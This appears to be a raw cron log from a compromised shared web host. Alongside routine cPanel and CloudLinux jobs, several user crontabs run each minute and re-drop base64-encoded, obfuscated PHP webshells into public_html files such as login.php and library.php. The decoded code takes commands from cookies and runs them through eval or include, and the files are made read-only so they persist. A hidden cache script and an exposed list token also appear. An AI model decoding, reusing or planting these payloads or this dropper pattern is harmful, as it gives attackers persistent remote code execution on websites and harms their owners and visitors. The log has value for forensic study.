Mar  2 08:10:01 medusa CROND[21578]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:10:01 medusa CROND[21579]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 08:10:01 medusa CROND[21581]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:10:01 medusa CROND[21568]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 08:10:01 medusa CROND[21582]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:10:01 medusa CROND[21594]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:10:01 medusa CROND[21592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 08:10:01 medusa CROND[21595]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:10:01 medusa CROND[21554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:10:01 medusa CROND[21608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:11:01 medusa CROND[5918]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:11:01 medusa CROND[6043]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:11:01 medusa CROND[6045]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:11:01 medusa CROND[6046]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:11:01 medusa CROND[6049]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:11:01 medusa CROND[6053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:11:01 medusa CROND[6056]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:11:01 medusa CROND[6057]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:11:01 medusa CROND[6058]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:11:01 medusa CROND[6059]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:11:01 medusa CROND[6060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:11:01 medusa CROND[6064]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:11:01 medusa CROND[6048]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:12:01 medusa CROND[23346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:12:02 medusa CROND[23552]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:12:02 medusa CROND[23554]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:12:02 medusa CROND[23555]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:12:02 medusa CROND[23556]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:12:02 medusa CROND[23557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:12:02 medusa CROND[23562]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:12:02 medusa CROND[23563]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:12:02 medusa CROND[23564]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
